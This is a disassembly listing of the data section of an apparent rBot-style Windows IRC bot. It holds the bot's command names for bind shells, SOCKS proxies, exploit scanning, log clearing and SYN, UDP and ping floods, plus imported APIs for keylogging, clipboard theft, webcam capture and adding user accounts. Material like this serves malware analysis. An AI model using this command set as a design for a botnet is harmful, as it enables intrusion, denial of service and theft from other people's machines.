dword_42C55C dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+1902o dword_42C570 dd 6F6877h ; DATA XREF: sub_401ACD+18E5o dword_42C574 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo dword_42C580 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+18D5o aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+18BCo aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+18A7o align 10h aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+1892o aDll db 'dll',0 ; DATA XREF: sub_401ACD+187Do aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+1868o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+1853o aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+183Eo align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1829o align 4 aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+1814o align 4 aPs db 'ps',0 ; DATA XREF: sub_401ACD+17FFo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+17EAo align 10h aKosomaky4d db 'KOSOMAKY4D',0 ; DATA XREF: sub_401ACD+17C0o ; sub_401ACD+17D5o align 4 aSi db 'si',0 ; DATA XREF: sub_401ACD+17ABo align 10h aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+1796o aNi db 'ni',0 ; DATA XREF: sub_401ACD+1781o align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+176Co aClg db 'clg',0 ; DATA XREF: sub_401ACD+1757o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1742o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+172Do align 4 aLog db 'log',0 ; DATA XREF: sub_401ACD+1718o aAl db 'al',0 ; DATA XREF: sub_401ACD+1703o align 10h aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+16EEo aT: ; DATA XREF: sub_401ACD+16D9o ; ___:00438B0Co unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16C4o unk_42C634 db 3 ; DATA XREF: sub_401ACD+1690o a81VrxFailedToR db '8,1-VrX- Failed to reboot system.',0 align 4 unk_42C658 db 3 ; DATA XREF: sub_401ACD+1689o a81VrxRebooting db '8,1-VrX- Rebooting system.',0 aR3start db 'r3start',0 ; DATA XREF: sub_401ACD+1672o aI: ; DATA XREF: sub_401ACD+165Do unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1648o align 4 aS_0: ; DATA XREF: sub_401ACD+1633o unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+161Eo align 10h aQ: ; DATA XREF: sub_401ACD+1609o ; ___:off_438778o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+15F4o align 4 aDc db 'dc',0 ; DATA XREF: sub_401ACD+15DFo align 10h aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15CAo align 4 aR: ; DATA XREF: sub_401ACD+15B5o ; sub_401ACD+3D8Eo ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15A0o align 4 aExplist db 'explist',0 ; DATA XREF: sub_401ACD+158Bo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+1576o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1561o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1537o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1522o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+150Do align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+14F8o align 4 dword_42C718 dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+14E8o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14CFo align 4 dword_42C738 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14C4o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14BFo align 10h aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14A6o align 4 dword_42C75C dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+149Bo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+1496o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+147Do align 10h aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1468o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1453o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+143Eo align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1429o align 4 dword_42C7AC dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1400o align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+13D7o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13AEo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+1385o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+135Co unk_42C7F4 db 2Dh ; - ; DATA XREF: sub_401ACD+1342o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C828 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1307o ; sub_401ACD+13A3o dword_42C838 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1302o ; sub_401ACD+139Eo dword_42C848 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+12E9o ; sub_401ACD+137Ao dword_42C858 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+12E4o ; sub_401ACD+1375o dword_42C868 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+1289o ; sub_401ACD+13F5o dword_42C874 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o ; sub_401ACD+13F0o dword_42C880 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo ; sub_401ACD+13CCo dword_42C88C dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o ; sub_401ACD+13C7o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1206o align 4 dword_42C8A4 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+11FBo ; sub_401ACD+12C8o dword_42C8B0 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o ; sub_401ACD+12C3o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+11DDo align 4 dword_42C8C8 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+11D2o ; sub_401ACD+12AAo dword_42C8D8 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11CDo ; sub_401ACD+12A5o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11B4o align 4 dword_42C8F4 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11A9o ; sub_401ACD+1328o dword_42C904 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11A4o ; sub_401ACD+1323o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+118Bo align 10h dword_42C920 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o ; sub_401ACD+124Ao dword_42C92C dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo ; sub_401ACD+1245o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1162o dword_42C940 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1157o ; sub_401ACD+122Co dword_42C94C dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o ; sub_401ACD+1227o dword_42C958 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o dword_42C964 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+112Eo dword_42C974 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1129o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1110o align 4 dword_42C994 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o dword_42C9A0 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+1100o aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+10E7o dword_42C9B4 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10BEo align 10h dword_42C9D0 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10B3o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+1095o align 4 dword_42C9EC dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+108Ao aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+106Co align 4 aS4 db 's4',0 ; DATA XREF: sub_401ACD+1057o align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1042o align 4 dword_42CA14 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1037o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+1032o ; sub_401ACD+1085o ... align 10h aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1019o align 10h aBd db 'bd',0 ; DATA XREF: sub_401ACD+1004o align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+FEFo align 10h aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FDAo align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FC5o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FB0o ; sub_401ACD+2D26o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+F9Bo ; sub_401ACD+2D15o align 10h aSt db 'st',0 ; DATA XREF: sub_401ACD+F86o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F71o align 10h aRz db 'rz',0 ; DATA XREF: sub_401ACD+F5Co align 4 aRulez db 'rulez',0 ; DATA XREF: sub_401ACD+F47o align 4 aVer db 'ver',0 ; DATA XREF: sub_401ACD+F32o aVersion db 'version',0 ; DATA XREF: sub_401ACD+F1Do aLo db 'lo',0 ; DATA XREF: sub_401ACD+F08o align 4 aLogout db 'logout',0 ; DATA XREF: sub_401ACD+EF3o align 4 aDi3 db 'di3',0 ; DATA XREF: sub_401ACD+EC9o ; sub_401ACD+EDEo aRn db 'rn',0 ; DATA XREF: sub_401ACD+EB4o align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+E9Co a63 db '63',0 ; DATA XREF: sub_401ACD+D69o align 4 asc_42CAB8: ; DATA XREF: sub_401ACD+D41o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D04o align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+CF9o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+CE8o align 4 aChan db '$chan',0 ; DATA XREF: sub_401ACD+CCCo align 10h aUser_1 db '$user',0 ; DATA XREF: sub_401ACD+CBBo align 4 aMe db '$me',0 ; DATA XREF: sub_401ACD+CA9o aD db '$%d',0 ; DATA XREF: sub_401ACD+C3Bo aD_0 db '$%d-',0 ; DATA XREF: sub_401ACD+B77o align 4 asc_42CAF8: ; DATA XREF: sub_401ACD+A9Fo unicode 0, <l>,0 aH4ck3d db 'H4CK3D',0 ; DATA XREF: sub_401ACD+A87o align 4 unk_42CB04 db 2Dh ; - ; DATA XREF: sub_401ACD+A64o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42CB38 db 2Dh ; - ; DATA XREF: sub_401ACD+A53o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42CB68 db 2Dh ; - ; DATA XREF: sub_401ACD+A42o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_28 db '- Failed to start chat thread, error: <%d>.',0 align 10h unk_42CBA0 db 2Dh ; - ; DATA XREF: sub_401ACD+9D3o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 10h aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+93Co align 4 unk_42CBC8 db 2Dh ; - ; DATA XREF: sub_401ACD+91Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42CC0C db 2Dh ; - ; DATA XREF: sub_401ACD+904o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_29 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42CC48 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+8F3o dd 0A0Dh dword_42CC60 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8BFo dword_42CC68 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8B4o dd 0D017325h, 0Ah dword_42CC84 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+883o dword_42CC90 dd 23h ; DATA XREF: sub_401ACD+7FAo ; sub_40CD43+1Bo unk_42CC94 db 2Dh ; - ; DATA XREF: sub_401ACD+769o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_1 db '%s',0 ; DATA XREF: sub_401ACD+6EAo ; sub_401ACD+979o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6C3o align 10h dword_42CCD0 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6A5o dword_42CCD8 dd 323333h ; DATA XREF: sub_401ACD+62Fo ; sub_401ACD+AC1o ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+60Do ; sub_409869+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+601o ; sub_409869+16o unk_42CCEC db 3 ; DATA XREF: sub_401ACD+5B0o a81VrxUserSLo_0 db '8,1-VrX- User: %s logged out.',0 align 4 unk_42CD0C db 3 ; DATA XREF: sub_401ACD+590o a81VrxJoinedC_0 db '8,1-VrX- Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_401ACD+55Fo aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+522o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+511o ; sub_401ACD+5CDo align 10h aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4ECo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3CEo align 10h aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+5F1o unk_42CD60 db 3 ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2E79o ... a81VrxUserSLo_1 db '8,1-VrX- User %s logged out.',0 align 10h aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7A88o ... align 4 a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_417B76:loc_417BDEo a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3BBo ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_417B76+50o align 4 asc_42CDCC: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7B9Do unicode 0, <!>,0 asc_42CDD0: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E41o ... unicode 0, < >,0 asc_42CDD4 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_4025E6o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo align 10h aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409909:loc_40A573o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409909+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409909+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409909+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409909+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409909+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409909:loc_40A4D5o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409909+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409909+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409909:loc_40A48Bo aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409909:loc_40A417o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409909+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409909:loc_40A3CDo align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409909:loc_40A383o align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409909+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo ; sub_418AF1+65o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409909+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409909+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409909+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409909+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409909+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409909+984o align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409909+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409909+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409909:loc_40A267o ; sub_418AF1+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409909+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409909+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409909+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409909:loc_40A208o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409909+82Co align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409909:loc_40A0E8o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409909+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409909+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409909+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409909+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409909+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409909+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409909+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409909+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409909+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409909+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409909+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409909+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409909+60Ao align 10h aSendto db 'sendto',0 ; DATA XREF: sub_409909+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409909+5E3o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_409909+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409909+5C9o align 10h aHtons db 'htons',0 ; DATA XREF: sub_409909+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409909+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409909+5A2o align 10h aConnect db 'connect',0 ; DATA XREF: sub_409909+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409909+588o aSocket db 'socket',0 ; DATA XREF: sub_409909+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409909+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409909+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409909+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409909+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409909+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409909+52Do align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409909+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409909+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409909+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409909+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409909+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409909+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409909+460o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409909+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409909:loc_409D36o align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409909:loc_409D0Eo align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409909+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409909+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409909+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409909+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409909:loc_409C60o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409909+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409909+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409909+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409909+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409909+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409909+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409909+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409909:loc_409B68o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409909+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409909+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409909+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409909+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409909+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409909+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_409909+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409909+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409909+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409909:loc_409A3Eo ; sub_425029+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409909+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409909+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409909+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409909+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409909+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409909+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409909+Ao align 4 unk_42D6D4 db 2Dh ; - ; DATA XREF: sub_40A5C5+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 